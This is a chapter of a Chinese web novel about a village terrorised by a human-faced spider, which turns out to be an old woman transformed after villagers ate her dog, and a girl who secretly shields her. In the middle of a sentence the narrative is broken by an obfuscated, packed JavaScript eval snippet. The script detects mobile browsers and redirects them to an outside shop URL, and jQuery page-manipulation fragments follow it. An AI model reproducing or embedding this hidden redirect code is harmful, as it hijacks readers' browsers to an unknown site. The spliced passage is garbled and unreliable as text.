文趣网 > 其他小说 > 除祟 > 30. 蛛丝
    这几天大家提高了警惕心,走路都相熟的人结伴走,很少有人落单独行,村长晚上召集村民的时候,所有人都来齐了,没有人再莫名其妙的消失。

    大家都松了一口气,觉得自己暂时安全了,沉闷的气氛顿时松快了许多。

    “二狗,赖东他们不见了,没准是几个年轻人贪玩,想去周围的城镇逛逛,也许过几天就回来了。”

    “是哩,是哩,他们都不是干活的好手,平时也经常见不到人影。”

    “还以为有什么天大的事儿呢,搞了半天是自己吓自己,要我说,村长老了,胆子越来越小啦。”

    村民们七嘴八舌说着话,他们这几天压抑着,现在迫不及待的想要通过说话,释放这种压力。

    村长冷眼看着他们,吧嗒吧嗒地抽着旱烟,他心里还是有疑问。

    不过就像村民们说的一样,他也清楚自己小儿子是个游手好闲的性子,要是二狗撺掇着他一起出去闲逛也是有可能的。

    但愿他真的是在杞人忧天吧。

    “行了,解散吧,都回家去吧。”村长将手中的旱烟杆磕了磕,些许土黄色的烟灰掸下来。

    村民们都忙了一天,一听可以解散,都着急回家。

    “都走了,都走了,明天还要早起干活呢!”

    张铁柱一家也回家了,张铁柱插上大门,打着哈欠回屋睡觉了。

    小草看屋子里的油灯熄灭了,从稻草做的床上爬了起来,悄悄溜出家门。

    这些天来她心中一直盘桓着一个隐隐的猜想,小草想去看看,她想的到底对不对?

    走到徐婆婆家的大门前,小草深吸了一口气。

    徐婆婆家的院子越发旧了,上面缠着的蛛丝越来越多,小草伸手,一根蛛丝随风而动,直直撞进她的手里。

    蛛丝闪着银白色的光泽,仔细摸起来还有点粘。

    小草的头上冒起了一层汗,她放轻脚步,继续往里走。

    徐婆婆的房门没有完全关上,漏着好大一条缝,借着月色,小草能看清徐婆婆的床上躺着一个东西。

    那东西动了动,伸出一条黑灰色的带着绒毛的触手。

    一滴冷汗顺着小草的额角滑下,没入土地,实在是很轻微的声音。

    那东西歪了歪头,朝着小草的方向看过来,它转过身子,露出一颗熟悉的人头。

    徐婆婆……

    小草死死地咬住下唇,血腥味充斥整个口腔。

    人面蜘蛛慢慢朝小草爬了过来,她绕着小草走了一圈。

    “草,草儿,黄,黄……”

    发出这几个意味不明的音节后,人面蜘蛛又离开了。

    它似乎很讨厌月光,又爬回了床上,躲进了被子里。

    *

    村子里又死人了。

    大家又聚到村长的家里,每个人都面色凄然,惶惶不安。

    “说吧,怎么回事儿?”村长抽烟抽得越发凶了。

    今天发现死人的男人站了出来,他声音颤抖,“我就出去解个手,回去的时候听到屋子里传来咔嚓咔嚓的声音,我心里觉得不对,抄起锄头就过去了,屋门打开,一个黑影跑出来,地上只剩下半副血红血红的骨架子。”

    死的人是他的儿子,十岁的孩子眼看就要成人了,却无辜枉死,他这做父母的如何能不心痛?

    后头的村民叽叽喳喳,“黑影?难不成是人?”

    男人眼睛红着,摇了摇头,“不是人,我看清了,那东西的手有好多只,黑乎乎的毛手扒在我儿子身上,大口大口地啃着……人怎么可能长成那样?”

    “难不成……难不成是鬼?”村里上了年纪的妇人说。

    她这话一出,村里的人都打了个寒颤,坏人好歹还是能叫人看见的。

    可要是鬼,摸不见,看不着的,那才是让人防不胜防。

    村里的人低声交谈着,惶恐的氛围霎时间笼罩了整个村子。

    村长一杆烟抽完,用烟杆敲了敲桌子,示意大家静一静。

    “光害怕没有用,六子,去把我院里那只公鸡拿出来,再给我拿来一把快刀和一个大陶碗来。”

    六子听命而去,很快就捉住了那只大公鸡。

    那只大公鸡鸡冠色泽鲜红,羽毛颜色鲜亮,闪着五彩的精光。

    村子里的人都只知道村长家的这只大公鸡,这只大公鸡生来便健壮,每天早上打鸣声音洪亮,走起路来也是昂首挺胸,整个村子都没有比它更神气的大公鸡了。

    村长用麻绳将大公鸡的脚绑起来,倒吊在空中,大公鸡发出了咯咯的叫声。

    村长摸到公鸡的脖梗上,将公鸡脖子周围的毛揪掉,口中念念有词,“小鸡小鸡,你莫见怪,今年去了,明年再回来。”

    说完手中刀光一闪而逝,大公鸡后知后觉地感受到疼痛,奋力挣扎起来,鲜红的血从伤口处喷涌而出,六子忙拿过陶碗接住鸡血。

    血渐渐流干了,大公鸡的翅膀在半空中缓缓张开,最后扑腾了一下,彻底没了气息。

    村长从家里的柜子拿出一盒子小瓷瓶,将鸡血注入瓷瓶中,“这是辟邪用的,一人一瓶,不要抢。”

    小草也分到了一瓶,她攥着手里的公鸡血,手指都隐隐有些颤抖。

    作为一个活生生的人,她当然害怕变成怪物的徐婆婆,可是……就算变成怪物,那也是徐婆婆啊。

    小草一直在犹豫,她该把徐婆婆的事情告诉大家吗?她清楚,村里人如果知道徐婆婆变成了怪物,一定会去徐婆婆家杀掉她。

    不……阿黄已经死了,她不能让他们再杀掉徐婆婆。

    那她该去婆婆家,告诉徐婆婆,村民们提前准备了公鸡血吗?

    自从上次亲眼看到人面蜘蛛的正脸,小草已经很久不敢去徐婆婆家了。

    毕竟小草自己都不确定,现在的徐婆婆还算是人吗?

    *

    怪物没多久又再次出来捕食村民。

    那是一天傍晚,黄昏时候,天色暗淡。

    一个妇人正在抱柴,预备生火做饭,正忙得满头大汗,忽然一个黑影朝她扑来。

    妇人下意识把手中的柴火挡在身前,黑影扑了个空,很快又蹲坐在地上,后腿弹起,预备下一次进攻。

    妇人摸出怀里的瓷瓶儿,打开瓶子,将公鸡血撒到怪物身上。

    空气中传来了‘嘶啦,嘶拉’的灼烧声,怪物黑色的触手在空中乱抓着,一张满是皱纹的脸,五官都扭曲在一起。

    妇人急声呼救,村子里的人这几天都惊醒得很,听到

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569856|204145||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    声音,抄起家伙就纷纷赶来。

    锄头、刀具等利器一股脑地抄怪物掷过去,怪物嘴里发出了‘哧哧哧’的痛呼声。

    不知是谁扔了把杀猪刀,居然砍下了怪物半个触手,怪物疼的龇牙咧嘴,一直掩在黑暗中的脸也显露在众人眼前。

    那是一只长了八只触手的黑色蜘蛛,触手上的绒毛很长,看的人很恶心,再往上看居然是一张人脸,一张熟悉的,满是皱纹的脸。

    蜘蛛的身子,人的头,人面蜘蛛。

    有村人惊呼,“这不是徐婆子吗?”

    “就是她,她怎么变成这幅样子了?”

    “不知道,她这个人以前也不言不语的,村子里没人爱搭理她,可能是什么时候死了?被山精野怪占了身子!”

    “杀了她,杀了她,这玩意儿吃人!”

    百来号村民一起挤了上来,他们平时也许会怕这种人面兽身的怪物,但现在全村的人都在这儿,他们有什么可怕的?

    小草手里也拿着一个棍子,做势要打人面蜘蛛,实际上,她一个闪身扑到了地上,人面蜘蛛看见缝隙,飞速趁着这个口子逃了出去。

    村民们追了出去,可人面蜘蛛有八条腿,人的脚力还是及不上兽类的脚力,还是让它逃了,只能眼睁睁地看着人面蜘蛛消失在了密林深处。

    “咱们去徐婆子家里看看,那里是它的老巢。”村长跑得额头上都是汗,拄着锄头,气喘吁吁道。

    村民们又跑到了徐婆子的家里,几个汉子踹开门,众人一进门,扑面而来的就是许多白色的丝。

    村长拿手拂开落在脸上的丝,放在手心里捏了捏,“这是蛛丝。”

    这么多蛛丝,看来徐婆子变成怪物不是一天两天的事儿了。

    “好好的一个大活人,怎么变成了这种鬼东西?”村长皱着眉说。

    小草小声说,“徐婆婆以前和她的狗相依为命,她的狗被大家吃了。”

    村长默了默,这事他知道,赖东把狗抓回来的时候,就告诉他这是徐婆子的狗了。

    可村长当时一点也不在意,在他眼里,徐婆子不过是个年逾古稀的老妇人,就算任她闹,又能掀起什么风浪?

    更何况,村里确实是好久没吃肉了,难得有个能让全村人都吃肉的机会,这肉还是他儿子提供的,村长以后在村子里的声望只会更高。

    要怪就怪徐婆子,怪她不看好自己的狗,让狗到处乱跑。

    “谁能想到徐婆子能变成这种怪物,早知道我就不吃那肉了。”

    汉子话是这样说,可他想到那天那顿肉,嘴里还咽了咽口水。

    “人变成怪物,死前一定有极大的怨气,而且随着时间的推移,怪物会变得越来越厉害,我们今晚没有灭了它,它来日一定会回来报仇,我们得想个办法应对。”

    村里一个老人站出来说,他到底多活了很多年,比年轻人知道的东西更多。

    村长眉头皱成一个川字形,“行,过两天,乡里的货郎来了,我让他传消息,去请长安城里普度寺的高僧。”

    普度寺是长安城里最负盛名的佛寺,香火极盛,连他们这些荒山小村的人都略有耳闻。

    更重要的一点,普度寺的高僧帮人解除灾厄,超度亡魂,从来分文不取。